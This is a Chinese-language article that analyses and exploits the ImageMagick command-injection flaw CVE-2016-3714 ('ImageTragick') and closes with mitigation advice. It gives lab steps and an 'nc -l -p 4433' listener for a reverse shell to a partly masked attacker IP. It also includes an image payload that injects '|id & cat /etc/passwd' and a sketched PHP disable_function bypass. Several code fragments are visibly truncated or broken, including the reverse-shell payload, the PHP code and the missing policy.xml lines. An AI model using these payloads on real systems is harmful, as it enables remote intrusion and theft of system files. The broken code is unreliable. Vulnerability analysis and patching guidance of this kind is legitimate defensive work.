ImageMagick远程执行漏洞分析及利用
1. ImageMagick简介
ImageMagick是一套功能强大、稳定而且开源的工具集和开发包,可以用来读、写和处理超过89种基本格式的图片文件,包括流行的TIFF、JPEG、GIF、 PNG、PDF以及PhotoCD等格式。利用ImageMagick,你可以根据web应用程序的需要动态生成图片, 还可以对一个(或一组)图片进行改变大小、旋转、锐化、减色或增加特效等操作,并将操作的结果以相同格式或其它格式保存,对图片的操作,即可以通过命令行进行,也可以用C/C++、Perl、Java、PHP、Python或Ruby编程来完成。同时ImageMagick提供了一个高质量的2D工具包,部分支持SVG。ImageMagic的主要精力集中在性能,减少bug以及提供稳定的API和ABI上。
ImageMagick 是一个用来创建、编辑、合成图片的软件。它可以读取、转换、写入多种格式的图片。图片切割、颜色替换、各种效果的应用,图片的旋转、组合,文本,直线, 多边形,椭圆,曲线,附加到图片伸展旋转。ImageMagick是免费软件:全部源码开放,可以自由使用,复制,修改,发布。支持大多数的操作系统。
2. ImageMagick主要功能
(1)将图片从一个格式转换到另一个格式,包括直接转换成图标。
(2)改变尺寸、旋转、锐化(sharpen)、减色、图片特效
(3)缩略图片的合成图( a montage of image thumbnails)
(4) 适于web的背景透明的图片
(5)将一组图片作成gif动画,直接convert
(6) 将几张图片作成一张组合图片,montage
(7)在一个图片上写字或画图形,带文字阴影和边框渲染。
(8) 给图片加边框或框架
(9)取得一些图片的特性信息
(10)几乎包括了gimp可以作到的常规插件功能。甚至包括各种曲线参数的渲染功能。只是那命令的写法,够复杂。
ImageMagick几乎可以在任何非专有的操作系统上编译,无论是32位还是64位的CPU,包括LINUX,Windows '95/'98/ME/NT 4.0/2000/XP,Macintosh (MacOS 9 /10), VMS 和 OS/2.
1.2ImageMagick(CVE-2016-3714)远程执行漏洞分析
ImageMagick(CVE-2016-3714)远程执行漏洞产生原因是因为字符过滤不严谨所导致的执行代码. 对于文件名传递给后端的命令过滤不足,导致允许多种文件格式转换过程中远程执行代码。
影响版本范围:
ImageMagick6.5.7-8 2012-08-17 ImageMagick6.7.7-10 2014-03-06 低版本至6.9.3-9 released 2016-04-30
1.3可利用POC测试
1.实验环境
Centos5.8+ ImageMagick 6.2.8
2.安装步骤
在centos中默认安装是ImageMagick 6.2.8,本次安装6.7.7-10版本。
yumremove ImageMagick wget
注意:tar.xz的文件需要先使用7zip解压为tar文件,然后再使用tar-zxvf进行解压。
3.生成反弹shell的png文件
先构建一个精心准备的图片,将以下内容保存为sh.png,其中122.115.4x.3x为反弹到监听端口的服务器,监听端口为4433。
pushgraphic-context viewbox 0 0640 480 fill'url(
4.执行命令
在执行命令前,需要在反弹服务器上执行“nc -vv -l -p 4433”命令。执行“convert sh.png 1.png”后,终端会没有反应,直到反弹shell退出以后,如图1所示。
图1执行convert命令
4.获取反弹shell
执行convert命令后,会根据网络情况,在监听服务器上会延迟数秒,如图2所示,直接获取反弹webshell。
图2获取反弹webshell
在反弹shell中终止后,会显示错误信息,如图3所示。
图3显示错误信息
1.4总结与探讨
1.本地漏洞存在exp测试
(1)构建exp.png
pushgraphic-context viewbox 0 0640 480 fill'url(https://example.com/image.jpg"|id & cat /etc/passwd")' popgraphic-context
(2)执行exp获取id和查看passwd文件
在终端模式中执行convert exp.png 1.png后会显示ID和passwd中的内容,如图4所示,这说明漏洞存在。
图4执行exp检测漏洞
2.利用ImageMagick漏洞绕过disable_function
将以下代码保存为exp.php
readImage('KKKK.mvg'); $thumb->writeImage('KKKK.png'); $thumb->clear(); $thumb->destroy(); unlink("KKKK.mvg"); unlink("KKKK.png"); ?>
3、防范方法
目前官方的最新修复补丁版本还未能出来,所以暂时建议做以下两种预防策略:
(1)在上传图片时需要通过文件内容来判断用户上传的是否为真实图片类型。
处理图片前,先检查图片的 “magic bytes”,也就是图片头,如果图片头不是你想要的格式,那么就不调用ImageMagick处理图片。如果你是php用户,可以使用getimagesize函数来检查图片格式,而如果你是wordpress等web应用的使用者,可以暂时卸载ImageMagick,使用php自带的gd库来处理图片。
(2)使用策略配置文件来禁用ImageMagick的有风险的编码器
对于ImageMagick全局策略配置文件在/etc/ImageMagick下对policy.xml最后一行进行增加下列配置: